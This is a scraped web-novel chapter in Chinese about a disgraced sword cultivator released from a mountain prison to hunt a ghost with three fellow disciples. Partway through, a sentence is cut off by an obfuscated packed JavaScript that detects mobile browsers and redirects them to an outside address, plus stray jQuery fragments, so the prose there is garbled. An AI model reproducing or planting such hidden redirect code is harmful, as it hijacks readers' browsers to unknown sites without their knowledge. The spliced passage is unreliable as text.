默认冷灰
24号文字
方正启体

3. 下山

作者:江月明明本书字数:K更新时间:
    那个秋日黄昏,傅明珏忽然提出要在晚课前去看看山下的阵脚,江念桥不疑有他,随他一同到了山下,但她一转身,就见傅明珏被一体型高大的蒙面人擒在手中。


    长剑刺入他腹部,发出极低的噗呲声,随即毫不留情拔出来,鲜血汩汩流出,少年几乎立刻就停止了挣扎,身体不由自主向下坠去。


    一切快得令人措手不及。


    铺天盖地的血腥味迎面而来,江念桥陡然睁大双眼,森寒人声伴随着山间尖锐的风声传入耳中,时间仿佛被无限拉长,她极力从混乱中辨出对方来意,手似抖筛地捏出她刚学会不久的“七宿灵钥”纹,打开了守山结界。


    傅明珏被那人抛过来,她本能去接,但一触及他身体,原本气息羸弱的傅明珏忽然轻轻一笑,紧接着她被一记手刃打在后颈,对他毫无防备的江念桥甚至来不及做出任何反应就失去了意识。


    再醒来就已是两月后。


    事后江念桥曾不止一次想,如果那时她足够冷静,就能发现很多对不上的细节,比如就算那魔族修士修为再高,傅明珏也绝不至于毫无还手之力,而那时她根本没有听到打斗的动静,再比如,如果魔修真的要拿傅明珏威胁她,就不该在她刚打开结界时就把他放开。


    但那时的她在决定命运的那一刻乱了方寸。


    经过澜绝掌门君唤雨“据理力争”,宗盟念其年幼初犯,江念桥最终被判处十年监禁。


    关进幽狱那日天气格外晴朗,碧空澄澈干净,像一大块完整无暇的琉璃,山风难得平静下来,整座山峰都沐浴在秋末明媚的阳光之下。


    江念桥在幽狱洞口顿住脚步,回身抬首,日光刺眼,她眼睛一酸,不得不垂下眸,向君唤雨深深鞠了一躬:“师父,对不起。”


    君唤雨目深如海,看着她问:“知错么?”


    她点点头。


    “后悔么?”


    江念桥思索一会儿,苦笑说:“有点。”顿了下,又道:“但若重来一次,可能还是会这么做。”


    君唤雨哈哈一笑,叮嘱道:“这话可千万别在其他人面前说。”


    见她重重点头,君唤雨拍拍她的肩膀:“你是我君唤雨的徒弟,就算身陷囹圄,也不可疏于修行,记住了吗?眼下大家都在气头上,我也不得不做个样子。”说到这儿时,他忍不住磨了磨牙,“百宗那些道貌岸然的老不死就会趁机落井下石,你是没看见,卫绾那案头堆的文堞能活活把她埋了......”


    江念桥笑了笑。


    “等风头过去,我跟你大师兄找机会让你出去戴罪立功,争取早日放你出来。你天负灵骨,修行资质万里无一,为师还指望你能成为东陆百宗剑修第一人,日后将澜绝发扬光大呢!好好修行,别让为师失望!”


    江念桥就背负这殷切期望夜以继日地在这天然牢狱中修行,六年时光就在她日复一日的练剑聚气中无声流走。


    这六年里,君唤雨来看过她一次——澜绝掌门痴迷修行,常年闭关,往往一闭就是数年之久。如果不是手脚的锁链总是哐当作响的话,江念桥有时也不无乐观地想,她在这里修行和师父在坐忘楼里闭关也没什么差别。


    试过她的剑后,君唤雨十分欣慰,但江念桥始终没等到那个戴罪立功的机会,以至于她甚至开始怀疑是不是大家已经完全忘了这茬。


    江念桥看着腕上锁口插着的钥匙,陷入沉思。


    不知道傅明珏是从哪偷来的,不会只有这一把吧?等大师兄哪天想起来要放她出去,不会因为找不到钥匙就此作罢吧?


    ——头疼。


    事实证明,沈雪杨比她想的要靠谱很多。


    三日后的清晨,沈雪杨来到山巅幽狱,将她手脚腕上的铁箍一个个解开,开门见山道:“云阙山一带近日有鬼祟作乱,澜绝要派弟子下山除祟,一共四人,你是其一。”


    他语调平淡至极,好似只是在说今天天气不错,却如平地惊雷般炸在她耳边,江念桥一颗心砰砰狂跳,几乎要从嗓子眼里跳出去!


    “......我真的......能出去了?”她不敢置信。


    沈雪杨看她一眼,唇角勾起几不可见的弧度:“这么开心?宗盟帖里说那东西可不好对付,毕竟东陆都有几百年没出过鬼魂之祟了,也不知这东西是从哪突然冒出来的......剑修不克魂体,所以你们这次主要是辅助术修将其绞杀。”他将手中最后一个铁箍轻轻一抛,暗沉锈铁如水蛇盘卷上岩壁铁钎,沈雪杨直起身,退后一步打量了下她,“当然,他们动手的时候,你有空也可以在旁边帮忙念两句往生咒。”


    江念桥怔怔站在原地,有种身在梦中的不真实感,直到胳膊覆上一只有力的手,她才如梦初醒地抬起头。


    沈雪杨:“走吧,出去看看。”


    一同下山的其余三人有拂江峰弟子徐长靖和颜七,都是自幼就相识的同门,另一个名叫苏淮的簪星峰年轻弟子,却是江念桥关进幽狱后才拜入山门的。


    徐长靖是四人中最早入门的,在整个澜绝山中也仅后于本代首徒沈雪杨,修为斐然,毫无悬念地担任此行的小队长。


    临下山,沈雪杨站在旭日殿前和徐长靖叮嘱半晌,颜七和苏淮一左一右围着,边听边小鸡啄米似的点头,江念桥本也想凑近,但被颜七淬着寒冰的眼刀扫过,她浑身一僵,旋即默默向后退开几步。


    颜七出生在北境线上一个无名荒村,据说那里的人基本都大字不识一筐,各家各户给孩子取名都按数数似的一字排开,方便也好记。近几十年人魔两族摩擦日益增大,北境和舟原常有小型冲突发生,他十岁那年全家死于战乱,跟着村民一路颠沛流离南下流亡数年,后来机缘巧合拜入澜绝门。


    若说谁最对魔族恨之入骨,颜七绝对当仁不让。


    “万事小心。”江念桥思绪被一道熟悉的声音蓦地拉回,看见沈雪杨不知何时站在面前,但目光却没看向她,而是沉沉落在正沿阶而下的徐长靖三人的背影上。


    他身姿挺拔,负手而立,一如往日的平淡声线中带着点不易察觉的隐忧:“颜七他还放不下六年前的事,对你......”他眉峰微蹙,斟酌了下措辞,才接着说,“对你仍有敌意,你要有心理准备。”


    江念桥微一垂首:“我知道,他恨我是应该的。”


    沈雪杨斜觑她一眼,午前稍显强烈的日光直照下来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093293|195533||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    让人看不清他的神色,只听他说:“任务固然重要,但我对你只有一个要求,不要节外生枝。你如今身份特殊,一举一动都要规行矩步,万不可一错再错,记住了吗?”


    江念桥神经一绷:“是。”


    四人下了山,策马扬鞭,朝云阙山而去。


    直到这时,江念桥才开始想关于此次行动有关的事,修真界中的祟一般分为“妖魔鬼怪”四大类,飞禽走兽汲取天地灵气而开启灵智称之为妖,修士或道心破碎或被阴邪之气侵蚀而为祸人间称为魔。


    值得一提的是,在东陆北境之外一片广袤无际、名为“舟原”的草原上生活着数万被称作“魔族”的人类,他们体格较人族更高大魁梧,肤色偏深,近铜褐色,体内血液红绿交驳,与四祟中的“魔”不是一个概念——事实上,“魔族”是东陆人的叫法,他们自称“圣族”。


    鬼则是生灵死后因执念或怨气过深而滞留世间不入轮回的魂体,怪往往是由自然阴差阳错孕育出的诡异存在,灵智未开仅凭本能行动。


    百宗弟子在修为达到标准后,或多或少都会被派下山除祟,所遇绝大多都是妖兽之类,其次是堕魔的修士。不过一般能入魔的修为都不低,往往要由门派大能甚至一宗之主出面除魔,再次就是怪。


    至于鬼祟,正如沈雪杨所言,修真界起码有三百年没出现过了,以至于东陆修真界术修门派凋零,据江念桥所知,眼下百宗之中仅有不到一成的术修宗门。剑修不克魂体,意思是说剑修虽能制止鬼祟作乱,但魂体只需隐匿灵息退去,再强横的剑也对它无可奈何,只有术修能以特殊法阵将其囚困绞杀。


    沈雪杨提到的往生咒倒是百宗家家必备人人会念,前提是鬼要能本本分分地坐在那听你念才行。


    不过据记载大多鬼祟都是本分的——毕竟修真界自古来对敌的宗旨是“倘若他不本分,那就帮他本分”。


    但更令人在意的是,云阙以南不过百里就是凤栖山,上立百宗之首的天一宗,虽说云阙并不在其辖下,但毕竟近水楼台,按说以其弟子的实力,若是寻常邪祟,不消三下五除二便除了,不至于要召出千里外的澜绝门这种中等门派的弟子才对。


    江念桥几次开口想问,都被从颜七身上散发出的低压给生生摁了回去,只好一味闷头赶路。


    抵达云阙山脚的村落时已是傍晚,远远就看见两个身着青袍的年轻修士迎上前来:“徐师兄,你们可算来了!”


    天水云青袍,松涛白鹤纹,是术宗云篆阁的弟子。


    徐长靖翻身下马,礼貌又不失亲切地和他们打招呼。


    日暮黄昏,炊烟袅袅升起,一路走过能闻到浓浓饭菜香气。进村的路坑坑洼洼,积着昨夜的雨水,车轮马蹄碾过后混成稀薄泥浆,一不小心就溅到衣角。


    “师姐小心。”


    江念桥脚步一顿,一只手拦在她身前,避免了她一脚踩进洼地的惨剧——是苏淮。


    见她看过来,少年带着稚气的面孔微微一红,不自觉避开视线,小声说:“这路不好走,我看师姐没带什么东西,若是把衣服弄脏了就不好了。”


    “多谢。”江念桥说了下山后的第一句话。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)